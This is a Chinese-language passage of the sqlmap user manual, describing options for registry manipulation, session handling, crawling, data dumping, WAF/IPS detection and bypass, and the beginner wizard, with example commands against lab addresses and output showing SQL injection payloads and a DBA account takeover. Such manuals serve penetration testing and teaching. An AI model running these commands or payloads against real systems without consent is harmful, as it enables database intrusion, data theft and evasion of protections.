sqlmap 用户手册[续]

1. 对 Windows 注册表操作

当数据库为 MySQL，PostgreSQL 或 Microsoft SQL Server，并且当前 web 应用支持堆查询。 当然，当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

参数：--reg-read

写入注册表值

参数：--reg-add

删除注册表值

参数：--reg-del

注册表辅助选项

参数：--reg-key，--reg-value，--reg-data，--reg-type

需要配合之前三个参数使用，例子：

```
$ python sqlmap.py -
u  http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-
add  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-
value=Test  --reg-type=REG_SZ --reg-data=1
```

2. 常规参数

从 sqlite 中读取 session

参数：-s

sqlmap 对每一个目标都会在 output 路径下自动生成一个 SQLite 文件，如果用户想指定读取的文件路径，就可以用这个参数。

保存 HTTP(S)日志

参数：-t

这个参数需要跟一个文本文件，sqlmap 会把 HTTP(S)请求与响应的日志保存到那里。

非交互模式

参数：--batch

用此参数，不需要用户输入，将会使用 sqlmap 提示的默认值一直运行下去。

强制使用字符编码

参数：--charset

不使用 sqlmap 自动识别的（如 HTTP 头中的 Content-Type）字符编码，强制指定字符编码如：

```
--charset=GBK
```

爬行网站 URL

参数：--crawl

sqlmap 可以收集潜在的可能存在漏洞的连接，后面跟的参数是爬行的深度。

例子：

```
$ python sqlmap.py   -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO]   starting crawler
[xx:xx:53] [INFO]   searching for links with depth 1
[xx:xx:53]   [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO]   searching for links with depth 2
[xx:xx:54] [INFO]   heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO]   42/56 links visited (75%)
[...]
```

规定输出到 CSV 中的分隔符

参数：--csv-del

当 dump 保存为 CSV 格式时（--dump-format=CSV），需要一个分隔符默认是逗号，用户也可以改为别的 如：

```
--csv-del=";"
```

DBMS 身份验证

参数：--dbms-cred

某些时候当前用户的权限不够，做某些操作会失败，如果知道高权限用户的密码，可以使用此参数，有的数据库有专门的运行机制，可以切换用户如 Microsoft SQL Server 的 OPENROWSET 函数

定义 dump 数据的格式

参数：--dump-format

输出的格式可定义为：CSV，HTML，SQLITE

预估完成时间

参数：--eta

可以计算注入数据的剩余时间。

例如 Oracle 的布尔型盲注：

```
$ python sqlmap.py   -u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b   --
eta

[...]
[hh:mm:01] [INFO]   the back-end DBMS is Oracle
[hh:mm:01] [INFO]   fetching banner
[hh:mm:01] [INFO]   retrieving the length of query output
[hh:mm:01] [INFO]   retrieved: 64
17%   [========>                                  ]   11/64  ETA 00:19
```

然后：

```
100%
[=============================================
```

```
=======]   64/64
[hh:mm:53] [INFO]   retrieved: Oracle Database 10g Enterprise Edition
Release 10.2.0.1.0 - Prod

web application   technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:   Oracle
banner:   'Oracle   Database 10g Enterprise Edition Release 10.2.0.1.0
- Prod'
```

sqlmap 先输出长度，预计完成时间，显示百分比，输出字符

刷新 session 文件

参数：--flush-session

如果不想用之前缓存这个目标的 session 文件，可以使用这个参数。 会清空之前的 session，重新测试该目标。

自动获取 form 表单测试

参数：--forms

如果你想对一个页面的 form 表单中的参数测试，可以使用-r 参数读取请求文件，或者通过--data 参数测试。 但是当使用--forms 参数时，sqlmap 会自动从-u 中的 url 获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数：--fresh-queries

忽略 session 文件保存的查询，重新查询。

使用 DBMS 的 hex 函数

参数：--hex

有时候字符编码的问题，可能导致数据丢失，可以使用 hex 函数来避免：

针对 PostgreSQL 例子：

```
$ python sqlmap.py -u
"http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --
hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1
AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))
||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS
CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56)
)),(CHR(72)||CHR(69)||CHR(88)))::text||(CHR(58)||CHR(110)||CHR(120)||
CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query()
[<a href='function.pg-query'>function.pg-query</a>]: Query
failed: ERROR: invalid input syntax for type
numeric: ":vtj:506f737467726553514c20382e332e39206f6e2069343
8362d70632d6c696e75782d676e752c20636f6d70696c656420627920
474343206763632d342e332e7265616c202844656269616e2032e332e
322d312e312920342e332e32:nxb:" in
<b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu,
compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
```

自定义输出的路径

参数：--output-dir

sqlmap 默认把 session 文件跟结果文件保存在 output 文件夹下，用此参数可自定义输出路径 例如：--output-dir=/tmp

从响应中获取 DBMS 的错误信息

参数：--parse-errors

有时目标没有关闭 DBMS 的报错，当数据库语句错误时，会输出错误语句，用词参数可以会显出错误信息。

```
$ python sqlmap.py  -u
"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"  --parse-
errors
[...]
[11:12:17] [INFO]  ORDER BY technique seems to be usable. This
should reduce the time needed to  find the right number of query
columns. Automatically extending the range for  current UNION
query injection technique test
[11:12:17] [INFO]  parsed error message: 'Microsoft OLE DB Provider
for ODBC Drivers  (0x80040E14)
[Microsoft][ODBC  SQL Server Driver][SQL Server]The ORDER BY
position number 10 is out of range  of the number of items in the
select list.
<b>/sqlmap/mssql/iis/get_int.asp,  line 27</b>'
[11:12:17] [INFO]  parsed error message: 'Microsoft OLE DB Provider
for ODBC Drivers  (0x80040E14)
[Microsoft][ODBC  SQL Server Driver][SQL Server]The ORDER BY
position number 6 is out of range  of the number of items in the
select list.
<b>/sqlmap/mssql/iis/get_int.asp,  line 27</b>'
```

```
[11:12:17] [INFO]  parsed error message: 'Microsoft OLE DB Provider
for ODBC Drivers  (0x80040E14)
[Microsoft][ODBC  SQL Server Driver][SQL Server]The ORDER BY
position number 4 is out of range  of the number of items in the
select list.
<b>/sqlmap/mssql/iis/get_int.asp,  line 27</b>'
[11:12:17] [INFO]  target URL appears to have 3 columns in query
[...]
```

3. 其他的一些参数

使用参数缩写

参数：-z

有使用参数太长太复杂，可以使用缩写模式。 例如：

```
python sqlmap.py  --batch --random-agent --ignore-proxy --
technique=BEU -u  "www.target.com/vuln.php?id=1"
```

可以写成：

```
python sqlmap.py  -z "bat,randoma,ign,tec=BEU" -
u  "www.target.com/vuln.php?id=1"
```

还有：

```
python sqlmap.py  --ignore-proxy --flush-session --technique=U --
dump -D testdb -T users -u  "www.target.com/vuln.php?id=1"
```

可以写成：

```
python sqlmap.py  -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -
u  "www.target.com/vuln.php?id=1"
```

成功 SQL 注入时警告

参数：--alert

设定会发的答案

参数：--answers

当希望 sqlmap 提出输入时，自动输入自己想要的答案可以使用此参数：

例子：

```
$ python sqlmap.py   -
u   "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--
technique=E   --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO]   testing for SQL injection on GET parameter 'id'
heuristic   (parsing) test showed that the back-end DBMS could be
'MySQL'. Do you want to   skip test payloads specific for other
DBMSes? [Y/n] Y
[xx:xx:56] [INFO]   do you want to include all tests for 'MySQL'
extending provided level (1) and   risk (1)? [Y/n] N
[...]
```

发现 SQL 注入时发出蜂鸣声

参数：--beep

发现 sql 注入时，发出蜂鸣声。

启发式检测 WAF/IPS/IDS 保护

参数：--check-waf

WAF/IPS/IDS 保护可能会对 sqlmap 造成很大的困扰，如果怀疑目标有此防护的话，可以使用此参数来测试。 sqlmap 将会使用一个不存在的参数来注入测试

例如：

```
&foobar=AND  1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE  2>1
```

如果有保护的话可能返回结果会不同。

清理 sqlmap 的 UDF(s)和表

参数：--cleanup

清除 sqlmap 注入时产生的 udf 与表。

禁用彩色输出

参数：--disable-coloring

sqlmap 默认彩色输出，可以使用此参数，禁掉彩色输出。

使用指定的 Google 结果页面

参数：--gpage

默认 sqlmap 使用前 100 个 URL 地址作为注入测试，结合此选项，可以指定页面的 URL 测试。

使用 HTTP 参数污染

参数：-hpp

HTTP 参数污染可能会绕过 WAF/IPS/IDS 保护机制，这个对 ASP/IIS 与 ASP.NET/IIS 平台很有效。

测试 WAF/IPS/IDS 保护

参数：--identify-waf

sqlmap 可以尝试找出 WAF/IPS/IDS 保护，方便用户做出绕过方式。目前大约支持 30 种产品的识别。

例如对一个受到 ModSecurity WAF 保护的 MySQL 例子：

```
$ python sqlmap.py  -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"  --identify-
waf -v 3
[...]
[xx:xx:23] [INFO]  testing connection to the target URL
[xx:xx:23] [INFO]  heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO]  using WAF scripts to detect backend WAF/IPS/IDS
protection
[xx:xx:23] [DEBUG]  checking for WAF/IDS/IPS product 'USP Secure
Entry Server (United Security  Providers)'
[xx:xx:23] [DEBUG]  checking for WAF/IDS/IPS product 'BinarySEC
Web Application Firewall  (BinarySEC)'
[xx:xx:23] [DEBUG]  checking for WAF/IDS/IPS product
'NetContinuum Web Application Firewall  (NetContinuum/Barracuda
Networks)'
[xx:xx:23] [DEBUG]  checking for WAF/IDS/IPS product 'Hyperguard
Web Application Firewall (art of  defence Inc.)'
[xx:xx:23] [DEBUG]  checking for WAF/IDS/IPS product 'Cisco ACE
```

```
XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'TrafficShield
(F5 Networks)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'Teros/Citrix
Application Firewall   Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'KONA
Security Solutions (Akamai   Technologies)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'Incapsula
Web Application Firewall   (Incapsula/Imperva)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'CloudFlare
Web Application Firewall   (CloudFlare)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'Barracuda
Web Application Firewall   (Barracuda Networks)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product
'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'Proventia
Web Application Security (IBM)'
[xx:xx:23] [DEBUG]   declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG]   page not found (404)
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'KS-WAF
(Knownsec)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'NetScaler
(Citrix Systems)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'Jiasule Web
Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'WebKnight
Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'AppWall
(Radware)'
[xx:xx:23] [DEBUG]   checking for WAF/IDS/IPS product 'ModSecurity:
Open Source Web Application   Firewall (Trustwave)'
[xx:xx:23]   [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open
Source Web Application   Firewall (Trustwave)'. Please consider usage
```

```
of tamper scripts (option   '--tamper')
[...]
```

模仿智能手机

参数：--mobile

有时服务端只接收移动端的访问，此时可以设定一个手机的 User-Agent 来模仿手机登陆。

例如：

```
$ python sqlmap.py   -u "http://www.target.com/vuln.php?id=1" --
mobile
[...]
which smartphone   do you want sqlmap to imitate through HTTP
User-Agent header?
[1] Apple iPhone   4s (default)
[2] BlackBerry   9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy   S
> 1
[...]
```

安全的删除 output 目录的文件

参数：--purge-output

有时需要删除结果文件，而不被恢复，可以使用此参数，原有文件将会被随机的一些文件覆盖。

例如：

```
$ python sqlmap.py   --purge-output -v 3
[...]
[xx:xx:55] [INFO]   purging content of directory
'/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG]   changing file attributes
[xx:xx:55] [DEBUG]   writing random data to files
[xx:xx:55] [DEBUG]   truncating files
[xx:xx:55] [DEBUG]   renaming filenames to random values
[xx:xx:55] [DEBUG]   renaming directory names to random values
[xx:xx:55] [DEBUG]   deleting the whole directory tree
[...]
```

启发式判断注入

参数：--smart

有时对目标非常多的 URL 进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。

例子：

```
$ python sqlmap.py   -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&
id=1"   --batch --smart
[...]
[xx:xx:14] [INFO]   testing if GET parameter 'ca' is dynamic
[xx:xx:14]   [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14]   [WARNING] heuristic (basic) test shows that GET
parameter 'ca' might not be injectable
[xx:xx:14] [INFO]   skipping GET parameter 'ca'
[xx:xx:14] [INFO]   testing if GET parameter 'user' is dynamic
[xx:xx:14]   [WARNING] GET parameter 'user' does not appear
```

```
dynamic
[xx:xx:14]  [WARNING] heuristic (basic) test shows that GET
parameter 'user' might not be  injectable
[xx:xx:14] [INFO]  skipping GET parameter 'user'
[xx:xx:14] [INFO]  testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO]  confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO]  GET parameter 'id' is dynamic
[xx:xx:14]  [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO]  heuristic (basic) test shows that GET parameter 'id'
might be injectable  (possible DBMS: 'MySQL')
[xx:xx:14] [INFO]  testing for SQL injection on GET parameter 'id'
heuristic (parsing)  test showed that the back-end DBMS could be
'MySQL'. Do you want to skip test  payloads specific for other
DBMSes? [Y/n] Y
do you want to  include all tests for 'MySQL' extending provided
level (1) and risk (1)?  [Y/n] Y
[xx:xx:14] [INFO]  testing 'AND boolean-based blind - WHERE or
HAVING clause'
[xx:xx:14] [INFO]  GET parameter 'id' is 'AND boolean-based blind -
WHERE or HAVING clause'  injectable
[xx:xx:14] [INFO]  testing 'MySQL >= 5.0 AND error-based - WHERE
or HAVING clause'
[xx:xx:14] [INFO]  GET parameter 'id' is 'MySQL >= 5.0 AND error-
based - WHERE or HAVING  clause' injectable
[xx:xx:14] [INFO]  testing 'MySQL inline queries'
[xx:xx:14] [INFO]  testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO]  testing 'MySQL < 5.0.12 stacked queries (heavy
query)'
[xx:xx:14] [INFO]  testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO]  GET parameter 'id' is 'MySQL > 5.0.11 AND time-
based blind' injectable
[xx:xx:24] [INFO]  testing 'MySQL UNION query (NULL) - 1 to 20
columns'
```

```
[xx:xx:24] [INFO]  automatically extending ranges for UNION query injection technique tests as  there is at least one other potential injection technique found
[xx:xx:24] [INFO]  ORDER BY technique seems to be usable. This should reduce the time needed to  find the right number of query columns. Automatically extending the range for  current UNION query injection technique test
[xx:xx:24] [INFO]  target URL appears to have 3 columns in query
[xx:xx:24] [INFO]  GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]
```

初级用户向导参数

参数：--wizard 面向初级用户的参数，可以一步一步教你如何输入针对目标注入。

```
$ python sqlmap.py  --wizard

  sqlmap/1.0-dev-2defc30  - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal  disclaimer: Usage of sqlmap for attacking targets without prior mutual  consent is illegal. It is the end user's responsibility to obey all  applicable local, state and federal laws. Developers assume no liability and  are not responsible for any misuse or damage caused by this program

[*] starting at  11:25:26

Please enter full  target URL (-u):
```

```
http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data)  [Enter for None]:
Injection  difficulty (--level/--risk). Please choose:
[1] Normal  (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc).  Please choose:
[1] Basic  (default)
[2] Smart
[3] All
> 1

sqlmap is running,  please wait..

heuristic  (parsing) test showed that the back-end DBMS could be
'Microsoft SQL Server'.  Do you want to skip test payloads specific for
other DBMSes? [Y/n] Y
do you want to  include all tests for 'Microsoft SQL Server' extending
provided level (1) and  risk (1)? [Y/n] Y
GET parameter 'id'  is vulnerable. Do you want to keep testing the
others (if any)? [y/N] N
sqlmap identified  the following injection points with a total of 25
HTTP(s) requests:
---
Place: GET
Parameter: id
   Type:  boolean-based blind
   Title:  AND boolean-based blind - WHERE or HAVING clause
   Payload:  id=1 AND 2986=2986

   Type:  error-based
   Title:  Microsoft SQL Server/Sybase AND error-based - WHERE or
```

```
HAVING clause
    Payload:   id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118)
CHAR(114) CHAR(100) CHAR(58)   (SELECT (CASE WHEN (4847=4847)
THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58)   CHAR(111)
CHAR(109) CHAR(113) CHAR(58)))

    Type:   UNION query
    Title:   Generic UNION query (NULL) - 3 columns
    Payload:   id=1 UNION ALL SELECT NULL,NULL,CHAR(58)
CHAR(118) CHAR(114) CHAR(100)   CHAR(58) CHAR(70) CHAR(79)
CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119)   CHAR(115)
CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113)
CHAR(58)--

    Type:   stacked queries
    Title:   Microsoft SQL Server/Sybase stacked queries
    Payload:   id=1; WAITFOR DELAY '0:0:5'--

    Type:   AND/OR time-based blind
    Title:   Microsoft SQL Server/Sybase time-based blind
    Payload:   id=1 WAITFOR DELAY '0:0:5'--

    Type:   inline query
    Title:   Microsoft SQL Server/Sybase inline queries
    Payload:   id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100)
CHAR(58) (SELECT (CASE WHEN   (6382=6382) THEN CHAR(49) ELSE
CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109)   CHAR(113)
CHAR(58))
---
web server   operating system: Windows XP
web application   technology: ASP, Microsoft IIS 5.1
back-end DBMS   operating system: Windows XP Service Pack 2
back-end DBMS:   Microsoft SQL Server 2005
```

```
banner:
---
Microsoft SQL   Server 2005 - 9.00.1399.06 (Intel X86)
    Oct   14 2005 00:33:37
    Copyright   (c) 1988-2005 Microsoft Corporation
    Express   Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current   user:    'sa'
current   database:    'testdb'
current user is   DBA:    True

[*] shutting down   at 11:25:52
```